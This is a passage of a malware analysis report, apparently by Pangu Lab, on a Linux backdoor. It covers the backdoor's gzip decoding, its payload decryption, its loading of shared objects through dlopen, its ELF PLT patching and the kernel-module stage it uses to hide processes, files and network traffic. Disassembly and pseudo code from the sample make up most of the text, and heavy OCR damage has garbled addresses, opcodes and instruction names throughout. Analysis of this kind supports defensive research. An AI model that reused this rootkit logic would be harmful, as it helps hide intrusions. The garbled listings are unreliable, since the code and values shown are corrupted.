LOAD: @80565C8 88 1D

LOAD: @88565CE 89 55

LOAD: @8956501 @F B7

LOAD: @8856509 89 45

LOAD: @B@5650C 89 4D

LOAD: @BR5650F

LOAD: @B@5650F

LOAD: @885650F

LOAD:@805650F 3B 5D

LOAD:@8@565E2 73 35

LOAD: @BB5E5E4

LOAD: 8B@565E4

LOAD: @B@565E4 BB 15 28 5A 86 @8

LOAD: @B@5SESEA 3B 15 24 5A 86 @8

LOAD: @88565F8 @F 83 22 01 88 o0

LOAD: @BOSE5FE Al 20 5A 06 08

LOAD: @B@565FE 89 D9

LOAD: @B@565FD 83 C3 a8

LOAD: @BO56680 &F B 84 18

LOAD: @B@56684 83 C2 &1

LOAD: @B@56687 89 15 28 5A @6 08

LOAD: 28056680 @F B6 C@

LOAD: 8056610 D3 Ed

LOAD: 88056612 @9 C6

LOAD: 28056514 3B 5D DC

LOAD: 88056617 72 CB

LOAD: @BB56619

LOAD: 88856619

LOAD: @8856619 8B 45 D8

LOAD: @805651C 8B 55 D4

LOAD: @805651F 21 F@

LOAD: @B@56621 ED 84 C2

LOAD: @B@56624 OF BE 88

LOAD: @B@56627 89 45 E@

LOAD: @B@5662A 83 F9 18

LOAD: @B@5662D 89 4D E4

LOAD: 98056630 @F 86 22 @1 @0 @@

LOAD:@BO56636 83 F9 63

LOAD:@B056639 @F 84 18 84 8@ 08

LOAD: @BOSE63F Al 28 5A 85 88

LOAD: @BO56644 BB 3D 24 5A 86 @8

LOAD: @B@5664A 89 45 CC

LOAD: 88856640 A1 28 S5A 66 88

LOAD: 88056852

LOAD: BERSE652

5A @86 98

89 29 24 86 88

86 a8
SA 86 88

89 28 24 86 68

BERBRLREERREAES

B

linux_gzip_fill_buf function:

LOAD: 888564E8 55
LOAD:888564E1 B9 ES
LOAD:88@564E3 57
LOAD: 8B@564E4 56
LOAD:88@564E5 53
LOAD:@888564E6 B3 EC 2C
LOAD:@8@564E9 8B 35 3C SA @6 08
LOAD:88@564EF BB 1D 2C SA 86 08
LOAD:888564F5 85 F&
LOAD:@88564F7 75 27
LOAD: BB@564FS
L0AD: 88@564F9
LOAD: 888564F9
LOAD:88@564F9 B9 1D 2C SA @56 08
LOAD:888564FF 31 C@
LOAD: 88856581 81 35 3@ S5A @6 @8
LOAD: 88856587 C7 @5 3C 5A @5 98 02 @0 20 00
LOAD: 88856511 83 C4 2C
LOAD: 88856514 SB
LOAD: 88856515 SE
LOAD: 88856516 SF
LOAD: 88856517 50
LOAD: 88856518 (3
LOAD: 88856518
LOAD: 28856519 8D
LOAD: 88856528
LOAD: 88856520
LOAD: 88056520 BB 3D
LOAD: 88856526 Al 34
LOAD: 88856528 8D 14
LOAD:@885652E B9 54 24 @4
55
1]

2

26 90 99 20 8

38 S5A 86 @8
50 @6 98

LOAD: 88856532 89
LOAD: 88856535 B9
LOAD: 88856538 E8 93 A3 86 @a

LOAD: 880855530 8B 55 E4

LOAD: 88856548 B5 C@

L0AD: 88856542 74 21

LOAD: 88856544 A3 34 SA 86 @8

LOAD: 88856549 @1 F8

LOAD: 88856548 B9 15 38 SA 85 88

LOAD: 88856551 B89 74 24 88

LOAD: 88855555 C7 44 24 84 88 SE 06 @8
LOAD: 28856550 89 84 24

LOAD: 88056560 EE 87 35 FF FF

LOAD: 88856565

LOAD: 88856565

LOAD:@B@56565 BB 35 3IC SA 86 @8

Beijing Qi An Pangu Laboratory Technology Co., Ltd

loc_885650F :

loc_B@5SE5E4:

loc B856652:

loc_se@se4Fa:

loc_s@ses2a:

loc_B@56565:
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pusn eox
sub esp, S5Ch
mov esi, ds:dword_See5Ad4e
mov [ebp+var_3C], edx
movzx edx, ds:g_gzip_mask_bits[ecxsecx]
mov [ebp+var_24], ecx
mov ecx, [ebprarg @]
mov [ebp+var_2C], eax
mow eax, ds:dword_BEESAIC
mov ebx, ds:dword_S665A44
mov [ebp+var_28], edx
movzx ecx, ds:g gzip_mask_bits[ecx+ecx]
mov [ebp+var_38], eax
mov [ebp+var_38], ecx
; CODE XREF: linux_gzip_inflate_codes+2C444
; linux_gzip_inflate_codes+2EBL] ...
np ebx, [ebp+var_24]
jnb shert loc_8856519
; CODE XREF: linux_gzip_inflate_codes+774j
mow edx, ds:g_gzip_key
<A edx, ds:dword_BE65A24
inb loc_8856718
mov eax, ds:dword_ 8865420
mow ecx, ebx
add ebx, &
movzx  eax, byte ptr [eax+edx]
add edx, 1
mov ds:g_gzip_key, edx
movzx  eax, a
shl eax, cl
or esi, eax
ap ebx, [ebp+var_24]
ib short loc_B8565E4
; CODE XREF: linux_gzip_inflate_codes+421§
mov eax, [ebp+var_28]
mov edx, [ebp+var_iC]
and eax, esi
lea eax, [edx+eax*8]
movzx  ecx, byte ptr [eax]
mov [ebp+var_28], eax
cnp ecx, 1gh
mov [ebp+var_1C], ecx
jbe loc_s@56758
mp ecx, 63h ; 'c’
jz loc_8@56A57
mov eax, ds:dword_BEESAZ8
mow edi, ds:dword_BEE6SA24
mov [ebp+var_34], eax
mov eax, ds:g_grip_key
: CODE XREF: linux ezip inflate codes+22@i1
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 2Ch
mov esi, ds:dword_8S865A3C
mov ebx, ds:dword BBE5AZC
test esl, esi
jnz short loc_B856520
; CODE XREF: linux_gzip_fill_buf+8Dlj
3 linux_gzip_fill_buf+8513]
mov ds :dword_SB65A2C, ebx
xor eax, eax
add ds:dword_8865438, esi
mov ds:dword_BBESAIC, @
add esp, 2Ch
pop ebx
pop esi
pop edi
pop ebp
retn
align ieh
; CODE XREF: linux_gzdip_fill_buf+17t]
mov edi, ds:dword_B8B65A38
mov eax, dsidword_S865A34
lea edx, [edi+esi]
mov [esp+4], edx
mov [ebpsvar_1C], edx
mov [esp], eax
call serial_bind_ex74e5f2ag_
mov edx, [ebpsvar_1C]
test  eax, eax
jz short loc_B@56565
mov ds :dword_BB65A34, eax
add eax, edi
mov ds:dword_8865A38, edx
mov [esp+8], esi
mov dword ptr [esp+4], offset byte_BOGSESS
mov [esp], eax
call near ptr memmove_._
; CODE XREF: linux_gzip_fill_buf+621j
mov esi, ds:dword 8865A3C
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linux_gzip_huft_build function:

LOAD: 8055F90
LOAD:B3855F98
LOAD: BBAS5F
LOAD: 08055F 90
LOAD: 98855F 28
LOAD: 98055F 50
LOAD: B3855F 38
LOAD: BEASSF
LOAD: 88855F %
LOAD: B8055F98
LOAD: 88855F 98
LOAD: 83255F 98
LOAD: B3055F98
LOAD: B355F 96
LOAD: @ER55F 98
LOAD: GBA55F 98
LOAD: @8055F20
LOAD: B8855F 38
LOAD: B8055F 90
LOAD: B8A55F 98
LOAD: B2855F 98
LOAD: 98055F 50
LOAD: 88855F 98
LOAD: BEASSF S
LOAD: 83855F98
LOAD: BER55FO8
LOAD: 0BOS5FI0
LOAD: 8055F08
LOAD: 83055F98
LOAD: 83855F 98
LOAD:B8855F98 55
LOAD: 888S5F91 &9
LOAD:98055F83 57
LOAD:@8855F94 56
LOAD: @BAS5FA5 BE
LOAD: B8RS5FIA 53
LOAD: BBBS5F98 1
LOAD:@8R55FA1 C7
LOAD:DBAS5FAR B9
LOAD:@8Q55FAR B9
LOAD: BBBSSFAE ED
LOAD: BBAS5FB1 E8
LOAD: D8AS5FBE 85
LOAD:D8Q55FBE 89
LOAD:; 88855FBA OF
LOAD: 88855FCE 31
LOAD:B8ASSFCE BS
LOAD:88855FCT 89
LOAD:98055FCE F3
LOAD:88855FCE BB
LOAD: 83a55FCE BB
LOAD:93855FD1 E0
LOAD: BBAS5FDM BD
LOAD: B8855FD8

w

The abstracted pseudo

a3

EC

45
55
an
AL
e ]
c3
B4
ce
11
DF
AB
55
a5
113

e

BC
24

E4

3a

78

Lo

L0
48

a4

a8

L

88 ee

85 00 a9

linux_gzip_huft_build prec near

dword ptr
= dword ptr
dword ptr
dword ptr
dword ptre
dword ptr
dword ptr -
dword ptr -54
dword ptr
dword ptr
dword ptr -¢
dword ptr -d4
dword ptr
dword ptr
dword ptr
dword ptr
dword ptr h
dword ptr -2C

dword ptr
dword prr -24
dword ptr
dword ptr
dword ptr
dword ptr
= dword ptr
= dword ptr

TREEE

push ebp

nov ebp, esp

push edi

push esi

mov esi, 3

push  ebx

sub esp, BCh

mov dword ptr [esp],
mov [ebpsvar_28], eax
mov [ebpevar_1C], edx
nov [ebpevar_54], ecx

call near ptr malloc_._

test eax, eax

mav ebx, eax

jz loc_Bose428

xor eax, eax

mov wcx, 11h

mnov edi, ebx

rep stosd

nov edx, [ebpevar_1C)
mov eax, [ebpevar_28]
mov [ebpevar_2C], edx
lea esi, [es1+9]

late_dynamic+2164p
_dynamic+301p

code in C language code is as follows (not fully covered):

The known payload file formats are as follows:
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In the running process, the sample will directly try to load the so-type file during the above Decode
callback process:

LOAD:BBRSEBL6 EB 95 1C 80 28 call serial_bind_@x227Ffecs_calloc
LOAD:@825EB4B 85 C0 test eax, eax

LOAD:8BASEBAD B9 43 2C mov [ebx+2Ch], eax

LOAD:2885EBS® 74 56 jz short loc_B@5EBAS

LOAD: BBESEBS2 BB 45 E4 mav eax, [ebpsvar_1C]

LOAD:@805EBS5 8B 5@ @C mov edx, [eax+aCh]

LOAD: BBASEBSE 39 D& cmp esi, edx

LOAD:8885EBSA 76 B3 Jbe short loc_8@5EBGF

LOAD: @8ASEBSC B9 07 mowv edi, edx

LOAD: @805EBSE EB 97 Jmp short loc_BE@SEBST

LOAD: 2BESEBER P e e A R SR S e e S e et
LOAD:8885EB68

LOAD: @885EBGE loc_B@SERGEE: ; CODE XREF: serial_loadsosCAlj
LOAD:@805EBGR 83 C7 o add edi, 8

LOAD: @BDSEBE3 39 FE cmp esi, edi

LOAD:8885EBES 76 35 Jbe short loc_B@SEBSC

LOAD: 8BA5EBET

LOAD: @825EBET loc_8@SEBST: ; CODE XREF: serial loadso+BET]
LOAD: 2BD5EBET ; serial_loadso+Fadj
LOAD:@88SEBGT 83 3F 81 cmp dword ptr [edi], 1

LOAD:98O5EBEA 75 F4 Jnz short loc_B80SEBES

LOAD: 2885EBGC 8B 45 E@ mav eax, [ebp+var_28]

LOAD: @BR5SEBEF C7 44 24 94 21 &1 20 00 mov dword ptr [esps4], GL_LOAD

LOAD: @8BSEBT7 B3 47 B4 add eax, [edi+a]

LOAD: 8895EBTA 89 84 24 mov [esp], eax

LOAD: @805SEBTD EB 3A AE FE FF call near ptr dlopen_._ ; SilM#soX#
LOAD: @805EBB2 85 C0 test eax, eax

LOAD:8BBSEBBA 74 93 3z short loc_BBSEB19

LOAD:@805EBE6 8B 53 38 mov edx, [ebx+3@h]

LOAD: @805EBEY 83 (7 o8B add edi, 8

LOAD: @805EBEC 8B 48 2C mow ecx, [ebx+ICh]

LOAD:@BASEBEF B9 84 91 mov [ecxsedx®a], eax

LOAD:8885ERBO2 83 (2 @1 add eds, 1

LOAD: @B5EBSS 39 FE cmp esi, edi

LOAD:@805EB97 89 53 3@ mov [ebx+3ah], edx

LOAD: @BASEBSA 77 CB Ja short loc_BRSEBS7

LOAD: 8885EBOC

LOAD: @8RSEBIC loc_8S@SEBR9C: ; CODE XREF: serial_loadso+C5Tj
LOAD: @805EBSC 31 FF Xor edi, edi

LOAD: @BOSEBSE B3 C4 2C add esp, 2Ch

LOAD:8885EBAL 89 F8 mov eax, edi

LOAD: 2885EBAT S8 pop ebx

LOAD:@805EBAS SE pop esi

LOAD: BBASEBAS SF pop wdi

LOAD:8885EBAG 5D Pep ebp

LOAD: BBRSEBAT (3 retn

LOAD: 0805EBAS H

LOAD: BBASEBAB

LOAD: 888SEBAS loc_8@SEBAS: ; CODE XREF: serial_loadsc+Betj
LOAD: 9BO5EBAS BF 84 mov edi, ebeseeoash

LOAD:@8Q5EBAD ES GE FF FF FF loc_se5EB20

LOAD: BBASEBAD
I NAN: ARASFRAN

jmp
serial_loadso  endp

After trying to load, it will try to patch the plt of the ELF file format:

LML BOBIEY33 a3
LOAD:@805E935 74
LOAD: B885E937
LOAD: @805E937
LOAD: @8@5E937 88
LOAD:@805E938 31
LOAD:@8@5E93D E9
LOAD: @805E930
LOAD: @885E942 BD
LOAD: 2805E948
LOAD: @8@5E948
LOAD: @8@5E948 89
LOAD: @BRSES4E EB
LOAD: @8@5E95@ 85
LOAD:@B@5E952 @F
LOAD: @8@5E958 8B
LOAD:@305E95E E9
LOAD: B305E9ER
LOAD: @885E960
LOAD: B385E968
LOAD : @385E960 8B
LOAD: @885E963 89
LOAD: @305E966 89
LOAD: @885E96A EB
LOAD: @805E96F 85
LOAD: @B@5E971 @F
LOAD: @805E977 EB
LOAD: @8@5E979
LOAD:@805E979
LOAD: @8@5E979
LOAD:@805E979 8B
LOAD: @8@5ESTC 8D
LOAD: @805E980 EB
LOAD: @8@5E982
LOAD: @885E982
LOAD: @BR5E982
LOAD: @8@5E982 BB
LOAD: @8@5E987 E9
LOAD: B385E987
LOAD: @3R5E9ET
LOAD: BB385E9E7
LOAD : @BB5E98C 8D
LOAD: BB85E998
LOAD : @385E990
LOAD: BB385E998
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e

29

4F 34 @2

[o:]

73 FE FF FF

3C 24
58 @1 80 o8

(o]

85 5D FE FF FF
47 ec
F1 FD FF FF

45 18
3C 24

51 82

(o:]

g2
g

85 3E FE FF FF

BE

43 18
74 26 99

11 ee 88 Do
29 FE FF FF

LEsL

jz

loc_8@5E937:

loc_8@SEDES:

call
test
jnz
Imp

loc_8@SE979:

loc_8RSE9B2:

mov

vaR, edx
short loc_805E968

; CODE XREF: serial_bind_@x531ab53f got+29714
byte ptr [edi+34h], 2
eax, eax
loc_B@SE7BS

; CODE XREF: serial_bind_ox531ab53f_got+6BTj
[esp], edi
serial_loadso
eax, eax
loc_BRSE7BS
eax, [edi+ech]

loc_B@SE751

; CODE XREF: serial_bind_8x531ab5S3f_got+2551]
eax, [ebp+arg_18]
[esp), edi
[esp+4], eax
serial_elf_patch_plt ; T:ifEEelffEftaplt |
eax, eax
loc_885E7RS
short loc_8@5ES937

; CODE XREF: serial_bind_@x531abS53f_got+2281]
eax, [ebx+18h]
esi, [esi+d]
short loc_8@5E96D

; CODE XREF: serial_bind_ox531ab53f_got+12813
eax, 8Dee@as1lh
loc_BRSE7BS

J
serial_bind_@x531ab53f_got endp

H == SUBROUTINE ===

| www.pangulab.cn

align 18h
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W Initialization and Kernel Module Loading of Bvp Engine

The decryption and loading of the kernel module will also be executed in the main process, which will go

through following steps:

1. Decrypt the payload package;
2. Initialize the Bvp engine and adapt to the corresponding kernel version structure;

3. Start trying to load the ko module, which is mainly used for hiding processes, files, networks, etc.;

Details are as follows:

1. Try to decrypt the ko payload;

o
loc_884BA1S:
mov eax, [esp+l@F@h+payload_struct]
mov edx, [esp+le@Feh+ref_stsysInfo]
mov [esp+1@F@h+_callback], offset decode_callback_t4 ; callback|
mov [esp+18F@h+_payload], eax ; payload
mov [esp+18FBh+_sysinfe], edx ; sysinfo
call serial_crypt_kernel
test eax, eax
mov edi, eax
jz jmp_884BB1D

I
ol s .
jmp_8@4BB1D:
mov ecx, [esp+1@F8h+payload_struct]
mov eax, [esp+l@FBh+ref_stSysInfo]
mov dword ptr [esp+8], offset decode_callback_t3 ; callback
mov [esp+4], ecx ; payload
mov [esp], eax ; sysinfo
call serial_crypt_kernel ; =id @@ kolfih
test eax, eax
mov edi, eax
inz loc_8@4BA3E

lea eax, [esp+l@F@h+var_3C]
mov [esp], eax

call serial_t3_process

test eax, eax

mov edi, eax

iz short loc_864BBC3
T

== .

loc_8@4BBC3:

call serial_bind_exb367cdee_channel
[test eax, eax

jz short jmp_ge4BCo4
e | I*

e =

jmp_804BC04:

mov edx, [esp+10FBh+pid]

mov [esp], edx ; buf

call serial_bind_ex62f1e7d3_channel
test eax, eax

5§z short jmp_8@4BC42

¥

jmp_B804BC42:

mov ecx, [esp+l@Feh+pid]

mov [esp], ecx ; pid

call serial_bind_ex7f493fb8_channel|
test eax, eax

iz short jmp_se4BCS0

[y
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2. Bvp overall processing function;

LOAD: @8058BCa serial_Bvp_process proc near ; CODE XREF: serial_config_play_6x60000081+Flj
LOAD: 68958BCO ; serial_config_play 0x00000000+Clj
LOAD: @8058BCO

LOAD : ©8058BCE var_8 = dword ptr -8

LOAD: ©8058BC@ var_4 = dword ptr -4

LOAD: @8858BC@

LOAD: @8058BC@ 55 push ebp

LOAD: @8058BC1 89 E5 mov. ebp, esp

LOAD: @8058BC3 83 EC 18 sub esp, 18h

LOAD: @8058BC6 89 5D F8 mov [ebp+var_g], ebx

LOAD: @8958BC9 89 (3 mov ebx, eax

LOAD:©8058BCB 89 75 FC mov [ebp+var_4], esi

'|LOAD:@8058BCE 88 @0 mov eax, [eax]

LOAD:@8058BD@ 89 D6 mov esi, edx

LOAD:@8858BD2 A3 AC DE @6 08 mov ds:ELF_API_@8x@88052448, eax

LOAD:©8058BD7 E8 D4 FD FF FF call serial_bvp_config

LOAD: @8058BDC 3C @1 cmp al, 1

' LOAD:@8058BDE 74 18 jz short it_should_jump__ patch_75

LOAD:@8058BE® E8 7B FF FF FF call serial_bvp_sym

' LOAD: 88058BES B9 (2 mov edx, eax

LOAD:@B0O58BE7 31 C@ xor eax, eax

LOAD: @8858BE9 80 FA @1 cmp dl, 1

' LOAD:@8058BEC 74 2A iz short loc_B8@58C18

' LOAD:@8@58BEE 8B 5D F8 mov ebx, [ebp+var_8]

LOAD:@8058BF1 8B 75 FC mov esi, [ebp+var_4]

LOAD:@8@58BF4 89 EC mov. esp, ebp

LOAD:@8e58BF6 5D pop ebp

' LOAD: @8058BF7 C3 retn

LOAD: @8@58BF8 TS T T T T T T S T R T S S T R R S SR SR S TS IR TR TR
LOAD: 98058BF8

LOAD: @8958BF8 it_should_jump__patch_75: ; CODE XREF: serial Bvp_process+1ET]
LOAD:@8058BF8 88 43 @8 mov eax, [ebx+8]

LOAD: @8@58BFB 89 34 24 mov [esp], esi 5 xx

' LOAD:©8058BFE 89 44 24 @8 mov [esp+8], eax i zz

LOAD:@8858C02 8B 43 84 mov. eax, [ebx+4]

LOAD:©8058C05 89 44 24 o4 mov [esp+4], eax R

LOAD:@8058C09 ES8 42 @B €0 00 call serial_bvp

LOAD:@8058COE 8B 5D F8 mov ebx, [ebp+var_8]

LOAD:98058C11 8B 75 FC mov esi, [ebp+var_4]

LOAD:@8058C14 89 EC mov esp, ebp

LOAD:@8@58C16 5D pop ebp

' LOAD: 88@58C17 C3 retn

LOAD:@8858C18 i 8 ] o o i i e 2
LOAD: @8858C18

LOAD:08058C18 loc_8@58C18: ; CODE XREF: serial_Bvp_process+2C1j
LOAD:098058C18 89 34 24 mov [esp], esi

LOAD:©8058C1B E8 306 1D o0 08 call serial_Bvp_sym

LOAD:@8058C20 8B 5D F8 mov ebx, [ebp+var_8]

' LOAD:@8@58C23 8B 75 FC Hov esi, [ebp+var_4]

LOAD:@8058C26 89 EC mov esp, ebp

LOAD: @8@58C28 50 pop ebp

' LOAD:@8@58C29 {3 retn

LOAD: 8895829 serial Bvp_process endp

LOAD: 8805829

LOAD: @8058C29 SR o e St s e e i e e R s e i e e e =
LOAD:@8058C2A 8D B6 @@ 0@ €0 0@ align 1eh

LOAD: ©8@58C3@

LOAD: ©8858C38 SUBROUTINE

00010RCO OROSARCO: sarial Bun nrocass (Sunchronized with Hex View-1)

The corresponding pseudo code:

int __ usercall serial Bvp_process@<eax>(int *al@<eax>, int a2@<edx>)
{
char v4; // dl
int result; // eax

ELF_API_@x08052A40 = *al;

if ( (unsigned __ int8)serial_bvp_config() =
return serial_bvp(a2, al[1], al[2]);

v4d = serial_bvp_sym();

result = 9;

11 if (v4a == 1)

12 result = serial_Bvp_sym(a2);

13| return result;

144N

1)

NV A WN B

0

Jececscee
=
(]
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3. Initialization function serial_bvp of Bvp engine

e s o v v - wmerw g

LOAD: 88058988

LOAD:@8058980 55 push ebp

LOA B@S5B9B1 B9 ES mov ebp, esp

LOA 8058983 81 EC 38 @1 00 ee sub esp, 138h

LOAD:@8@589B9 8D 85 1@ FF FF FF lea eax, [ebp+buffer]
LOAD:888589BF B9 5D F4 mov [ebpsvar_C], ebx
LOAD:280589C2 8B 1D AC DE @6 @8 mav ebx, ds:ELF_API_exa8052A40
LOAD:@8@589C8 89 75 FB mov [ebpt+var_8], esi
LOAD:@88589CB 8D B5 DF FE FF FF lea esi, [ebp+var_121]
LOAD:888589D1 89 7D FC mov [ebps+var_4], edi

LOAD: 88058004 C7 45 E4 00 P o8 e mav [ebptvar_1C], @
LOAD:@8@589DB C7 45 E@ 90 @0 0@ @0 mov [ebp+var_20], 8
LOAD:@8@580E2 C7 45 DC 88 60 00 @8 mov [ebp+var_24], @
LOAD:@80589E9 C7 45 D8 6@ @0 60 @0 mav [ebp+var_28], @
LOAD:@88589F0 C7 45 D4 0@ @0 o0 00 mov [ebp+var_2C], ©
LOAD:@8@589F7 C7 44 24 08 1C 00 @0 0@ mav dword ptr [esp+8], 1Ch ; length

LOAD:@8@585FF C7 44
LOAD:@8058A87 a4

24 84 74 26 @6 @8 mov dword ptr [esp+4], offset aBvp_sym_dewmem_is_allowed ; "Bwp_sym__devmem_is_allowed"

mov [esp], eax ; dst
call serial_bind_@xa8al6d65_xcode
44 ee ee ee mov dword ptr [esp+4], @

LOAD:28@58A17 89 44 24 08 mov [esp+&], eax
LOAD:@8858A1B 8D 45 E4 lea eax, [ebp+var_1C]
LOAD:88@58A1E 89 84 24 mov [esp], eax
LOAD:@8858A21 FF D3 call ebx ; ELF_API_©xP8852A48
LOAD:@8058A23 31 DB xar ebx, ebx
LOAD:@8@58A25 BS C@ test eax, eax
LOAD:@8858A27 jnz short loc_8@58A88

mov eax, [ebp+var_1C]

test eax, eax
LOAD:@8@58A2E 74 58 jz short loc_8@58A88
LOAD:@8858A30 83 F8 FF cmp eax, @FFFFFFFFh
LOAD:B8858A33 74 53 jz short loc_8@5BA88
LOAD:88858A35 8D 85 41 FF FF FF lea eax, [ebp+dst]
LOAD:@8@58A3B DE @6 ea may edi, ds:ELF_API_ex@88052A48
LOAI 08 20 00 20 o8 mov dword ptr [esp+8], 28h ; ' ' ; length
LOAI a4 84 94 26 96 @8 mov dword ptr [esp+4], offset aBvp_config__linux_version_code ; "Bvp_config_ LINUX_VERSION_CODE"
LOAD:88858A51 89 84 24 mov [esp], eax ; dst
LOAD:®8@58A54 EB 77 71 60 @0 call serial_bind_©xaBaledeS5_xcode
LOAD:@8@58A59 C7 44 24 64 @0 €0 00 00 mov dword ptr [esp+4], @
LOAD:@8858A61 89 44 24 @8 mav [esp+8], eax
LOAD:88858A65 BD 45 EB lea eax, [ebp+var_28]
LOAD:88858A68 89 84 24 mov [esp], eax
LOA D7 call edi ; ELF_API_oxe80852A40
LOA test eax, eax
LOA jnz short loc_805G8A88
LOAD:88858A71 8B 45 EB mov eax, [ebp+var_28]
LOAD:@8@58BA74 B3 FB8 FF cmp eax, BFFFFFFFFh
LOAD:@8@858A77 74 @F Jz short loc_8@58A88
LOAD:88858A79 3D 19 @6 82 88 cmp eax, 28615h
LOAD:8805BA7E BE 81 90 89 @@ may ebx, 1
LOAD:88858A83 76 13 Jjbe short loc_8858498
LOAD:@8@58A85 8D 76 0@ lea esi, [esi+a]

LOAD:B8058BA88
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The corresponding pseudo code:

© WO 00~ bW N

1
2 s

13
14
15
16
17
18
19
208
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
668
61

{

IEL ¢
int vi;
int v2;
int v3;
int { ¢
int v5;

void (__

int v8;

void (__

int vi1e;

void (__

int vi2;
char v13

LI, S%l AL WV S LB S

decl *v@)(int *, _DWORD, int); // ebx
// eax

// eax

// ebx

decl *v4)(unsigned int *, _DWORD, int); // edi
// eax

cdecl *v7)(int *, _DWORD, int); // edi
// eax

cdecl *v9)(int *, _DWORD, int)}; // edi
// eax

cdecl *vi1)(int *, _DWORD, int); // edi
[/ eax

[49]; // [esp+17h] [ebp-121h] BYREF

char buffer[49]; // [esp+48h] [ebp-Foh] BYREF

char dst
char vié
char v17
int vi18;
int v19;

int v20; // [esp+114h] [ebp-24h] BYREF
unsigned int v21; // [esp+118h] [ebp-286h] BYREF
int v22[4]; // [esp+11Ch] [ebp-1Ch] BYREF
v@ = (int (__cdecl *)(int *, _DWORD, int))ELF_API_©x08052A40;
v22[e] = e;
v21l = @;
v2e = 8;
vi9 = @;
vlig8 = @;
vl = serial_bind_0xa8a16d65_xcode(buffer, "Bvp_sym__devmem_is_allowed", 28);
v2 = va(v22, 8, vi);
v3 = B;
it Wl )
{
if ( v22[e] )
if ( v22[e] = -1 )
{
v4 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_0x@80852A40;
v5 = serial_bind_exa8al6d65_xcode(dst, "Bvp_config_ LINUX_VERSION_CODE", 32);
if ( !v4(&v21, @, v5) &% v21 != -1 )
{
vi = 1;
if ( v21 <= ex2e619 )
{
v7 = (void (__cdecl *)(int *, _DWORD, int))ELF_API_0©x08052A40;
v8 = serial_bind_®xa8a16d65_xcode(vl6, "Bvp_config__CONFIG_INFINIBAND_NES", 35);
v7(&v2e, 0, v8);
v9 = (void (__cdecl *)(int *, _DWORD, int))ELF_API_@x@B8a852A40;
v1e = serial_bind_o©xa8al6de5_xcode(vli7, "Bvp_config CONFIG_INFINIBAND NES_MODULE", 42);
vo(&v19, @, via);
vil = (void (__cdecl *)(int *, _DWORD, int))ELF_API_©x@8052A40;
v12 = serial bind_exaBalede5_xcode(v13, "Bvp_config_ CONFIG_XEN", 24);
v11(&v18, @, vi2);
if (( v20 1= 1 &R v19 =1 )
LOBYTE(v3) = v18 == 1;
}
}
}

[49]; // [esp+79h] [ebp-BFh] BYREF
[49]; // [esp+AAh] [ebp-8Eh] BYREF
[49]; // [esp+DBh] [ebp-5Dh] BYREF
// [esp+1ech] [ebp-2Ch] BYREF
// [esp+11@h] [ebp-28h] BYREF
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LUAL : 0EiaoY /50
LOAD : 88859750
LOAD: 880859751
LOAD: 880859753
LOAD:@8059759
LOAD: 88859760
LOAD: 88059763
LOAD: 08059766
LOAD: @8059769
LOAD: 880859770
LOAD: 88859772
LOAD:©8059777
LOAD:@8085977C
LOAD: 880859783
LOAD: 88859787
LOAD: ©805978C
LOAD:@805978E
LOAD: 98059790
LOAD: 88859797
LOAD: 08059797
LOAD: 08059797
LOAD: @805979C
LOAD: 888597A2
LOAD: 888597AA
LOAD: 880597AD
LOAD:@80597B1
LOAD: 888597B6
LOAD: 88059788
LOAD: 080597BA
LOAD: @80597BC
LOAD: @88597BC
LOAD: 888597BC
LOAD: 880597BC
LOAD: @80597BF
LOAD:8808597C1
LOAD:888597C3
LOAD: 080597C6
LOAD:@80597CB
LOAD: ©80597CB
LOAD:888597CB
LOAD: @8@597CD
LOAD: 080859700
LOAD: @80597D3
LOAD: 88@597D6
LOAD:888597D8
LOAD: 880597D9
LOAD:@80597D9
LOAD:288597DA
LOAD:@80@597E@
LOAD:©80597E0
LOAD: @80597EQ
LOAD: @8@597E3
LOAD: 888597E7
LOAD: @80597ED
LOAD:@808597F1
LOAD: @80597F4
LOAD:888597F9

55
89
81
8@
89
89
89
7
¥
Al
BB
7
89

85
74
c6

Al
8D
c7
89
89
E8
85
89
74

89
8B
8B
8B
89
5D
c3

]

8D
89
8D
89
89
E8
85

00011750 08059750:

-

4. serial_bvp process

EC 28 @9 @0 e@

5D F4
75 F8

45 E4 90 00 00 00

C8 3C @6 08
FF FF FF FF

84 24 20 3D @6 08
44 24 04

D4 64 @0 80

loc_8859797:
C8 3C ec es8

44 24 84 20 3D @6 @8

34 24
44 24 @8

loc_80597BC:
45 E4
84 24
C5 70 @9 80

loc_8@597CB:
75 F8

7D FC

B6 @0 00 6@ oo

loc_8@597E6:
45 E4
44 24 o8
85 48 FF FF FF
44 24 84
34 24
C7 OE 00 oe

serial bvp (Synchronized with Hex View-1)
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push ebp
mov ebp, esp
sub esp, 928h
cmp ds:g_elf _decode, @
mov [ebp+var_C], ebx
mov [ebp+var_8], esi
mov [ebp+var_4], edi
mov [ebp+var_1C], @
jnz short loc_80859797
mov eax, ds:g_elf _len
mov ebx, BFFFFFFFFh
mov dword ptr [esp], offset g_elf buf ; buf
mov [esp+4], eax 3 len
call serial_bind_8x4743c911_xor
test eax, eax
jz short loc_808597BC
mov ds:g_elf decode, 1
; CODE XREF: serial_bvp+20t1j
mov eax, ds:g_elf len
lea esi, [ebp+info]
mov dword ptr [esp+4], offset g_elf_buf ; elf_buf
mov [esp], esi ; info
mov [esp+8], eax ; elf_len
call serial_elf_getbaseinfo
test eax, eax
mov ebx, eax
jz short loc_86597E@
; CODE XREF: serial_bvp+3Et]
; serial_bvp+ADL] ...
mov eax, [ebp+var_1icC]
test eax, eax
jz short loc_88597CB
mov [esp]l, eax
call serial_bind_ex44611a64_free
; CODE XREF: serial_bwvp+71tj
mov eax, ebx
mov esi, [ebptvar_g8]
mov ebx, [ebp+var_C]
mov edi, [ebp+var_4]
mov esp, ebp
pop ebp
retn
align 18h
; CODE XREF: serial_bvp+6Atj
lea eax, [ebp+var_1C]
mov [esp+8], eax
lea eax, [ebp+var_Bg]
mov [esp+4], eax
mov [esp], esi
call serial_Bvp_sizeof
test eax, eax
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5. Load the first module gmr

117| int v118; // [esp+8F8h] [ebp-30h] BYREF
118 unsigned int v119; // [esp+8FCh] [ebp-2Ch] BYREF
119| int vi12@; // [esp+988h] [ebp-28h] BYREF
128| dint v121; // [esp+9@4h] [ebp-24h] BYREF

121 int v122; // [esp+968h] [ebp-20h] BYREF
122| int vi123[4]); // [esp+9eCh] [ebp-1Ch] BYREF
123
®124] vi23[e] = O;
® 125 if ( !g_elf _decode )
126 {
® 127 v3 = -1;
